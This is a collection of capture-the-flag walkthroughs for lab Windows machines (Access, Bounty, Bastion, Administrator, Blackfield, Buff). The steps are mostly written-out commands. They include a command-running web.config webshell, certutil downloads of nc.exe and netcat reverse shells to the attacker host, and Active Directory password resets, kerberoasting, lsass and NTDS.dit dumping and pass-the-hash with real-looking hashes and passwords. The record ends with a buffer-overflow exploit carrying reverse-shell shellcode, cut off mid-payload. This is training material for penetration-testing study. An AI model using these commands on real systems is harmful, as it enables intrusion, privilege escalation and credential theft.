
now to extract the data from pst file i used

readpst -r Access\ Control.pst

there’s mbox file created inside the “Access Control” folder

and we got the password for security account → 4Cc3ssC0ntr0ller, let’s try login to telnet

and we can get the flag from \useres\Security\Desktop\user.txt

to get stable and better shell i tried using the nc.exe but i got the error, the program is blocked by group policy

after getting initial access i tried searching for the interesting file and i found

now the thing here is we can see it is using the /savecred it means the runas stores the credentials in windows credential manager https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/StoredCredentialsRunas.md

we can list the credentials by cmdkey /list

as we’ve already placed nc.exe in security user’s home directory we can run it using runas directly

runas /user:ACCESS\Administrator /savecred "C:\Users\security\nc.exe 10.10.14.12 443 -e cmd.exe"

and on shell listener we’ll get the shell as administrator

Bounty

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Bounty
OS type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

	PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

Port 80/HTTP

only one port is open on this box so i’ll first fire the fox up and visit the website on http://10.10.10.93

it’s only simple page with image, nothing interesting in source code of the page, then i’ll start the dir/file fuzzing

first i’ll go for directory fuzzing using gobuster

gobuster dir -u http://10.10.10.93/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

ok great i found the interesting /uploadedfiles directory, i’ll first visit it

i see, it shows 403 forbidden, means no access, continue to enumeration i assume that this is asp site as the gobuster fund /aspnet_client and this above 403 page is for ASP sites

i’ll run the another scan to find any forms or page which allows users to upload files

gobuster dir -u http://10.10.10.93/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x asp,aspx

-x option for specify file extensions

i found the transfer.apsx which seems interesting to me, i’ll visit that page

Hmm! simple file upload page, i’ll create a test.txt with some text contents and upload the file, and then try to access file from /uploadedfiles directory

It says Invalid file, moving forward i’ll try to upload the jpg file mv test.txt test.jpg and then try to upload again test.jpg

Uploaded!! then i try to access file from /uploadedfiles/test.jpg

so the file is not found!

i noticed that it removes the file after 2-3 minutes, so when i was taking screenshot from another page and pasting it to my note it was removed so i got 404 error, i tried again and this time i got hit

but it’s only allows to upload the image files, so i’ve then tried to upload the web.config and it uploaded successfully

i found this interesting medium article that shows how we can get RCE via web.config file

https://jaykiee.medium.com/rce-by-uploading-a-web-config-7390e140a45b i made some changes in code as whoami command was not showing the output so i’ve added the ping command and start tcpdump on kali to capture ICPM traffic

sudo tcpdump -i tun0 icmp -v

Web.config

	<?xml version="1.0" encoding="UTF-8"?>
	<configuration>
	   <system.webServer>
	      <handlers accessPolicy="Read, Script, Write">
	         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
	      </handlers>
	      <security>
	         <requestFiltering>
	            <fileExtensions>
	               <remove fileExtension=".config" />
	            </fileExtensions>
	            <hiddenSegments>
	               <remove segment="web.config" />
	            </hiddenSegments>
	         </requestFiltering>
	      </security>
	   </system.webServer>
	</configuration>
	
	<% Response.write("-"&"->")
	Response.write("<pre>")
	Set wShell1 = CreateObject("WScript.Shell")
	Set cmd1 = wShell1.Exec("ping 10.10.14.17")
	output1 = cmd1.StdOut.Readall()
	set cmd1 = nothing: Set wShell1 = nothing
	Response.write(output1)
	Response.write("</pre><!-"&"-") %>

access web.config from /uploadedfiles/web.config i recieved the ping requests on my kali machine

web browser also shows the output

i’ll make some changes in web.config to download the nc.exe and then execute it

start python http server where your nc.exe is exists using python3 -m http.server 80 if you don’t know where to find nc.exe use locate nc.exe and we can find the location where nc.exe is present (/usr/share/windows-resources/binaries/nc.exe) copy it to current working directory and start python http server replace below command with ping command to download the nc.exe

certutil -urlcache -f http://10.10.14.17/nc.exe \users\public\nc.exe

great! file now transffered to target machine, i’ll start the netcat listener on port 443 using rlwrap -r nc -nvlp 443

now to execute the nc.exe to get shell i tried \users\public\nc.exe 10.10.14.17 443 -e cmd it shows the intenral server error

after many attempts i used below command to execute nc.exe to get shell (start netcat listener on port 443 using rlwrap -r nc -nvlp 443

cmd /c \users\public\nc.exe 10.10.14.17 443 -e cmd.exe

upload the web.config file again and access it from /uploadedfiles/web.config

Post-Enum

i’ll start my post enumeration by running sudo -l command of windows systems!!, whoami /priv

so i’ll upload the printspoofer and execute it to get SYSTEM Shell

start python http server on kali where printspoofer.exe exist and then use certutil to download printspoofer.exe from kali

tried to run the god potato, printspoofer but it’s not working

moving forward i’ll run systeminfo command to enumerate the system further

searching for exploit i found - https://github.com/Re4son/Chimichurri/blob/master/Chimichurri.exe, running exploit on the system

Chimichurri.exe 10.10.14.17 4444

and i got shell as SYSTEM bingo!!

Bastion

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Bastion
Difficulty: Easy
OS Type: Windows

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Fri Jun 20 20:36:20 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.10.134
Nmap scan report for 10.10.10.134
Host is up, received reset ttl 127 (0.23s latency).
Scanned at 2025-06-20 20:36:27 IST for 152s
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE      REASON          VERSION
22/tcp    open  ssh          syn-ack ttl 127 OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg=
|   256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-06-20T17:08:46+02:00
|_clock-skew: mean: -40m00s, deviation: 1h09m13s, median: -3s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 26941/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 10974/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 18741/udp): CLEAN (Timeout)
|   Check 4 (port 32412/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-06-20T15:08:44
|_  start_date: 2025-06-20T15:05:10
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 20 20:38:59 2025 -- 1 IP address (1 host up) scanned in 159.44 seconds

Enumeration

Port 139,445/SMB

let’s start our enumeration from SMB service, i’ll first check for null session

smbclient -L //10.10.10.134 -N

nice we found the Backups share, let’s connect to Backups share

smbclient //10.10.10.134/Backups -N

i downloaded note.txt, let’s read it

ohh, it says the sysadmins to not to transfer the entire backup file locally, and we can see that the WindowsImagebackup folder. let’s see what does it contains

ok seems like it contains the backup of L4mpje-PC’s system backup

we found some vhd files and BackupSpec.xml, the backupspec.xml file contains the system backup configuration

ok so we can confirm that vhd files are the backup of C: drive

i tried to download the vhd file but the image is too large so we are getting parallel_read returned NT_STATUS_IO_TIMEOUT

let’s try to mount the share and access file from there, let’s first create directory inside - /mnt/smb_share to mount the share to that folder

now we’ll mount the backups share to /mnt/smb_share

sudo mount -t cifs //10.10.10.134/Backups /mnt/smb_share

now i’ll copy the vhd file to /tmp folder

sudo guestmount --add /mnt/smb_share/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd  --inspector --ro /mnt/windows

now we can access the file system at /mnt/windows

while enumerating filesystem i found SYSTEM in C:\Windows\config\SYSTEM and C:\Windows\config\SAM

now we have both sam and system files, we need to copy both files to our machine

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

nice we found the NTLM hash of the L4mpje user, i’ll verify the credentials using netexec

nxc smb 10.10.10.134 -u L4mpje -H 26112010952d963c8dc4217daec986d9

let’s try to crack this password using hashcat

hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt

i tried to authenticate with winrm but failed to do so. looks like our user doesn’t have the permisson to remote management

let’s try these credentials with ssh

nxc ssh 10.10.10.134 -u L4mpje -p bureaulampje

let’s ssh to machine

ssh L4mpje@10.10.10.134

after gaining access to the system i started enumerating system, i found interesting mRemoteNG installed, after searching a bit i found that it stores the credentials in weak algorithm which can be decrypted

after searching a bit i found mRemoteNG config file - confCons.xml which actually contains the encrypted password of administrator user

let’s try to decrypt the password using https://raw.githubusercontent.com/S1lkys/CVE-2023-30367-mRemoteNG-password-dumper/refs/heads/main/mremoteng_decrypt.py

python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

let’s use evil-winrm to login to machine as administrator

evil-winrm -i 10.10.10.134 -u administrator -p thXLHM96BeKL0ER2

Administrator

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr 19 08:28:17 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.42
Nmap scan report for 10.10.11.42
Host is up, received reset ttl 127 (0.28s latency).
Scanned at 2025-04-19 08:28:18 EDT for 215s
Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-19 19:30:36Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57716/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61987/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
61992/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61999/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62004/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62017/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 35406/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 11352/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 52617/udp): CLEAN (Timeout)
|   Check 4 (port 30800/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-04-19T19:31:39
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 19 08:31:53 2025 -- 1 IP address (1 host up) scanned in 216.88 seconds

Provided Credentials: Olivia/ichliebedich

i started my initial enumeration from smb and use --users to enumerate users from the system using netexec

netexec smb 10.10.11.42 -u Olivia -p ichliebedich --users

let’s save the user names in the users.txt, continue our enumeration i checked if we have winrm access or not using

netexec winrm 10.10.11.42 -u Olivia -p ichliebedich

let’s login as Olivia using evil-winrm

evil-winrm -i 10.10.11.42 -u Olivia -p ichliebedich

let’s check if we are member of any special groups using net user olivia

nothing here!, let’s check the bloodhound i’ll run bloodhound using bloodhound-python tool from my kali

bloodhound-python -c all -u 'olivia' -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42

load the information to bloodhound, first start neo4j database using sudo neo4j console

start bloodhound, login with credentials and load the json files to bloodhound

in search bar search for olivia and then right click on user avatar and then click on mark user as owned, now check for any permissions in Node Info

now if we the node info we found that user has 1 Outbound boject controller permissions clicking on that we found that user olivia has GenericAll permissions to Michael user

From Bloodhoun Help

Force Change Password Use samba's net tool to change the user's password. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line. The new password will be prompted if omitted from the command line.

net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

so we can change the michael’s password let’s use the net rpc command from our kali linux to change the michael’s password

net rpc password "michael" "hacker@123" -U "administrator.htb/olivia"%"ichliebedich" -S 10.10.11.42

now we successfully changed the michael user’s pasword checking the node info of that user we found that michael user has ForceChangePassword permission on benjamin user

let’s change the benjamin user’s password using rpcclient

rpcclient -U "administrator.htb/michael" 10.10.11.42

after login run below command to change the benjamin user’s password

rpcclient $> setuserinfo benjamin 23 hacker@123

now we check group membership of the benjamin user using net user benjamin from olivia’s winrm shell

net user benjamin

Oh great, interesting group Share Moderators looks like benjamin has access to the shares, let’s try smbclient to enumerate any interesting share

first i run netexec to check what permissions do we have on shares

netexec smb 10.10.11.42 -u benjamin -p hacker@123 --shares

i checked login to NETLOGON, but it was empty also nothing interesting in SYSVOL

smbclient //10.10.11.42/NETLOGON -U administrator.htb/benjamin

thinking about share, does it also include FTP, let’s try to connect with ftp with benjamin:hacker@123

ftp 10.10.11.42

let’s download the Backup.psafe3

checking the file type of the Backup.psafe3

it’s a password safe v3 database, searching for this we found that we can access the file using tool called pwsafe

pwsafe -r Backup.psafe3

it prompted to enter the master password, that we don’t have i tried olivia’s password and bejamin as password but not worked it’s time to call john!!

*2john 😄 john has all tools to get hash of anything

run pwsafe2john Backup.psafe3 > psafe.pass

and crack it using

john pwsafe.pass --wordlist=/usr/share/wordlists/rockyou.txt

within a minute we found the master password for the DB file

let’s use the password to login to password safe

we found some credentials:

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

checking for all users group membership using net user command we found that emily is the user of Remote Management Users so we can use evil-winrm to login as emily

let’s use evil-winrm to login as emily

evil-winrm -i 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

we got our user.txt now checking in bloodhound we found that user emily has the GenericWrite permissions on the Ethan user

using bloodhound help we found that we can use targeted kerberoast attack, by setting the own SPN on the ethan user and get TGT to crack the hash

and checking the ethan’s permissions we found that ethan has DCSync rights on the Domain

so we first use targeted kerberoast attack to get ethan’s password and can dump the creds from domain using secretsdump

python targetedKerberoast.py -v -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --dc-ip 10.10.11.42

we got KRB_AP_ERR_SKEW(Clock Skew too great) it’s because of the time difference between our kali machine and target machine to fix this issue run below command

sudo rdate -n 10.10.11.42

and then run the command agin

now save the hash into file and we’ll use the hasshcat to crack the hash

hashcat -m 13100 ethan.krb /usr/share/wordlists/rockyou.txt

Bingo! we now have the ethan user’s password let’s use this to dump hashes from the DC

impacket-secretsdump administrator.htb/ethan:limpbizkit@10.10.11.42

Nice we can use the administrator’s NTLM hash to login to DC using psexec

impacket-psexec Administrator@10.10.11.42 -hashes aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e

Blackfield

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Blackfield
OS Type: Windows
Difficulty: Hard

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Tue Apr 29 08:59:50 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.192
Nmap scan report for 10.10.10.192
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-04-29 08:59:51 EDT for 499s
Not shown: 65527 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-29 20:06:51Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m39s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 48702/tcp): CLEAN (Timeout)
|   Check 2 (port 36102/tcp): CLEAN (Timeout)
|   Check 3 (port 53637/udp): CLEAN (Timeout)
|   Check 4 (port 65227/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-04-29T20:07:09
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 29 09:08:10 2025 -- 1 IP address (1 host up) scanned in 499.48 seconds

Enumeration

Port 445 - SMB

let’s start our enumeration by smb service, we’ll first check for anonymous login (also known as Null session)

smbclient -L //10.10.10.192

oh nice we found some shares

netexec smb 10.10.10.192 -u 'WORKGROUP\kali' -p '' --shares

this will check the share permissions as guest user, nothing here much!, let’s connect to profiles$ share

smbclient  //10.10.10.192/profiles$ -N

looks like these are the usernames, let’s try enum4linux if we can get any useful information

enum4linux 10.10.10.192

nothing interesting found

let’s continue our enumeration and filter usernames from the directory list i used below command to put all directory names inside a file called users

smbclient  //10.10.10.192/profiles$ -N -c "ls" > users

cleaning the output and then pass the usernames to kerbrute to enumerate valid users

kerbrute userenum --dc 10.10.10.192 -d blackfield.local users

let’s store these user’s in valid users’s list

get only usernames and remove domain name using cut command

cat valid-users.txt | cut -d "@" -f 1

Port 135/MSRPC

i tried to connect to ms-rpc using rpcclient

rpcclient -U "" 10.10.10.192

let’s move to another port we’ll check for the ldap search

Port 389,3268/LDAP

let’s start enumerating the Directory access protocol - LDAP

first we need DN (distinguished name) or base name for domain to search from

ldapsearch -H ldap://10.10.10.192 -x -s base namingcontexts

we’ll use this as base to run our ldap query as we don’t have valid username and password we’ll try to enumerate anonymously

ldapsearch -H ldap://10.10.10.192 -x -b "DC=BLACKFIELD,DC=local"

as per LDAP output we need to authenticate to run ldap queries means nothing for us here

let’s take some actions on information we’ve gathered so far, so i start from the AS-REP Roasting attack, now as we have the valid users let’s check if any user has Dont_require_preauth flag set, if this flag in any of user we can get the kerberos TGT hash for that user which encrypted using the user’s password and cracking the hash we can get the actual password of user

impacket-GetNPUsers -no-pass -dc-ip 10.10.10.192 -usersfile users blackfield.local/

Bingo!, we have a hit i got the TGT hash for the support user let’s save it as support.ha and and crack it using hashcat

hashcat -m 18200 support.hash /usr/share/wordlists/rockyou.txt

You Said it Hashcat Cracked It!!

i always create two files when i found password for user, 1. creds - which contains valid set of creds and 2. password.txt - which contains password that we can use in password spraying and other tasks

let’s use this credentials to enumerate shares from the system

netexec smb 10.10.10.192 -u support -p '#00^BlackKnight' --shares

i checked the NETLOGON share but didn’t find anything useful

let’s run the bloodhound-python to get information from domain and then visualize the output using bloodhound

run bloodhound -python to gather information

bloodhound-python -c all -u 'support' -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192

start neo4j database using

sudo neo4j console

nice now load the json files in bloodhound search for support user and right click > mark user as owned

check the node info of the user we found user has permissions to Change password for audit2020 as the user has ForceChangePassword permission

nice let’s use the rpcclient to login as support user and then change the password for audit2020

rpcclient -U "blackfield.local/support" 10.10.10.192

after that we’ll use setuserinfo to reset the password

rpcclient $> setuserinfo audit2020 23 "password@123"

Back to basics new creds enumeration start from 0, let’s check what share we have access as audit2020 user

netexec smb 10.10.10.192 -u audit2020 -p "password@123" --shares

nice we have interesting share access forensic

let’s connect to share using smbclient

smbclient //10.10.10.192/forensic -U "blackfield.local\audit2020%password@123"

let’s check the memory_analysis, i’ve downloaded the commands_output all files, but we found the other usernames → lydericlefebvre, Ipwn3dYouCompany

we found interesting folder memory_analysis which contains the lsass.zip, download it and extract it we found the

let’s load this into our local machine in mimikatz

mimikatz # sekurlsa::minidump E:\Offsec-OSCP\lsass.dmp

mimikatz # sekurlsa::logonpasswords

let’s verify the hash is valid or not using netexec

netexec smb 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

as we don’t have other shares to explore let’s try winrm to check if we have access or not

netexec winrm 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

You said Pwn3d! i heard Access granted!

let’s login to winrm as svc_backup’s credentials

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

i found the interesting notes.txt in C:\

let’s check which groups our user belongs to

net user svc_backup

then i checked the privileges of svc_backup user

putting pieces togather we can conclude that user is member of Backup operators and and has SeBackup and SeRestore Privilege

so the idea is we can dump SYSTEM and ntds.dit from DC and then use secretsdump to dump the hashes from the ntds.dit

i found interesting powershell script on github that dump SAM,SYSTEM,SECURITY and NTDS.dit

https://github.com/G4sp4rCS/backup-operator-to-domain-admin-POC

upload backupToDA.ps1 on target machine, set execution policy to bypass

Set-ExecutionPolicy Bypass

or powershell -ep bypass

then simply run the script

we need NTDS.dit and SYSTEM files, we need bootkey from system to decrypt the NTDS database

now download both files

great, now load the system and ntds.dit into secretsdump

impacket-secretsdump -system system -ntds ntds.dit LOCAL

i’ll use Administrator NTLM hash → 184fb5e5178480be64824d4cd53b99ee to login with evil-winrm

evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

Buff

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Buff
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

PORT     STATE SERVICE    REASON          VERSION
7680/tcp open  pando-pub? syn-ack ttl 127
8080/tcp open  http       syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: mrb3n's Bro Hut
| http-methods: 
|_  Supported Methods: HEAD POST

Enumeration

Port 8080/HTTP

port 8080 is open on target machine, and running webservice

let’s check web technology using whatweb

whatweb http://10.10.10.198:8080

navigate to contact tab and i found the software name and version using in website

https://www.exploit-db.com/exploits/48506

i found the Unauthenticated RCE let’s copy exploit to our current working directory

searchsploit -m 48506

but it is the webshell but we need proper reverse shell let’s use the curl and nc.exe to get full reverse shell

start python http server

python3 -m http.server 80

curl http://10.10.14.17/nc.exe -o nc.exe

start listener on kali linux using rlwrap -r nc -nvlp 443

execute nc.exe to get shell

nc.exe 10.10.14.17 443 -e cmd

Post-Enum

starting my post enumeration from whoami /priv

in shaun user’s directory i found 2 interesting files

google search reveals that the CloudMe 1.11.2 is vulnerable to Buffer Overflow https://www.exploit-db.com/exploits/48389

also machine name is buff we assume that it is the Attack vector to get Administrator

reading the exploit we found it’s run on port 8888 by default let’s check if any service is running on port 8888

netstat -P TCP -ant

we’ll need to forward 8888 port to our kali machine so we can access the service from our machine and exploit it

we’ll use chisel for forwarding port, first transfer chisel.exe to target machine start chisel server on kalli

chisel server --reverse --port 5000

on target machine

chisel.exe client 10.10.14.17:5000 R:8888:127.0.0.1:8888

we got connection on chisel server

now we need to generate our shell code and replace it with the default shell code in exploit

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=445 '\x00\x0A\x0D' -f python -v payload

paste the generated shell code into exploit

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=445 '\x00\x0A\x0D' -f python -v payload
**payload =  b""
payload += b"\xda\xdd\xd9\x74\x24\xf4\x5f\x29\xc9\xb8\x23"
payload += b"\x9e\xe7\xab\xb1\x52\x31\x47\x17\x83\xc7\x04"
payload += b"\x03\x64\x8d\x05\x5e\x96\x59\x4b\xa1\x66\x9a"
payload += b"\x2c\x2b\x83\xab\x6c\x4f\xc0\x9c\x5c\x1b\x84"
payload += b"\x10\x16\x49\x3c\xa2\x5a\x46\x33\x03\xd0\xb0"
payload += b"\x7a\x94\x49\x80\x1d\x16\x90\xd5\xfd\x27\x5b"
